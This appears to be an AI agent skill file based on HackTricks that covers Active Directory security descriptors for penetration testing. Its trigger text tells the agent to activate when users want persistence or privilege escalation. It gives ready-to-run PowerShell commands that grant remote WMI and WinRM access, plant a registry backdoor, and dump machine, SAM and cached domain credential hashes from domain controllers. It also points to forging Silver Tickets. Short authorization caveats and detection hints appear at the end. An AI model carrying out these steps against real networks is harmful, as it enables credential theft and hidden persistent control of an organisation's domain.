Hacktricks-skills active-directory-security-descriptors
How to work with Active Directory security descriptors (SDDL) for penetration testing and security assessments. Use this skill whenever the user mentions security descriptors, SDDL, ACL manipulation, WMI access, WinRM access, hash dumping, DAMP, or any technique related to modifying object permissions in Active Directory. Also trigger when users want to create persistence mechanisms, escalate privileges through ACL changes, or understand how security descriptors store permissions in Windows/AD environments.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/windows-hardening/active-directory-methodology/security-descriptors/SKILL.MDActive Directory Security Descriptors
A skill for working with Security Descriptor Definition Language (SDDL) and security descriptor manipulation in Active Directory environments.
What are Security Descriptors?
Security descriptors store the permissions an object has over another object. By making changes to security descriptors, you can obtain privileges over objects without needing to be a member of privileged groups.
SDDL Format:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;
When to Use This Skill
Use this skill when you need to:
- Understand or modify SDDL strings
- Grant WMI access to users
- Configure WinRM/PowerShell Remoting access
- Create registry backdoors for hash dumping
- Analyze or manipulate ACLs for privilege escalation
- Create persistence mechanisms through security descriptor changes
WMI Access
Grant a user remote WMI execution access:
# Grant WMI access Set-RemoteWMI -UserName <username> -ComputerName <hostname> -namespace 'root\cimv2' -Verbose # Remove WMI access Set-RemoteWMI -UserName <username> -ComputerName <hostname> -namespace 'root\cimv2' -Remove -Verbose
Use case: Allows remote WMI execution for lateral movement or persistence.
WinRM/PowerShell Remoting Access
Grant a user WinRM PowerShell console access:
# Grant WinRM access Set-RemotePSRemoting -UserName <username> -ComputerName <hostname> -Verbose # Remove WinRM access Set-RemotePSRemoting -UserName <username> -ComputerName <hostname> -Remove -Verbose
Use case: Enables remote PowerShell sessions for command execution.
Registry Backdoor for Hash Dumping (DAMP)
Create a registry backdoor to remotely retrieve hashes and credentials:
# Create registry backdoor Add-RemoteRegBackdoor -ComputerName <hostname> -Trustee <username> -Verbose # Retrieve machine account hash Get-RemoteMachineAccountHash -ComputerName <hostname> -Verbose # Retrieve SAM account hashes Get-RemoteLocalAccountHash -ComputerName <hostname> -Verbose # Retrieve cached domain credentials Get-RemoteCachedCredential -ComputerName <hostname> -Verbose
Use case: Very useful for granting regular users the ability to dump hashes from Domain Controllers without admin privileges.
Important Considerations
-
Domain Controller Targeting: Registry backdoors are especially valuable when applied to Domain Controllers, as they provide access to cached AD credentials.
-
Silver Tickets: The machine account hash from a Domain Controller can be used to create Silver Tickets. See related documentation on Silver Tickets for more information.
-
Persistence: Security descriptor modifications provide persistence that survives reboots and doesn't require scheduled tasks or services.
-
Detection: These techniques may be detected by:
- ACL change monitoring
- WMI/WinRM access logging
- Registry access monitoring
- DAMP tool signatures
Common SDDL Components
| Component | Description |
|---|---|
| Type of ACE (e.g., for Access Allowed, for Access Denied) |
| Flags like (Object Inherit), (Container Inherit) |
| Specific rights (e.g., for Generic All, for Read Control) |
| GUID of the object being accessed |
| SID of the account being granted/denied access |
Example Workflow
- Identify target object (e.g., Domain Controller, specific AD object)
- Determine needed access (WMI, WinRM, registry, etc.)
- Apply security descriptor change using appropriate tool
- Verify access by testing the granted permissions
- Document changes for cleanup or reporting
Tools Reference
- Nishang: PowerShell scripts for WMI and WinRM access
- DAMP: Tool for registry backdoor creation and hash retrieval
- PowerView: For enumerating and understanding current ACLs
Safety Notes
- Always have proper authorization before modifying security descriptors
- Document all changes for cleanup
- Test in non-production environments first
- Understand the impact of permission changes on system security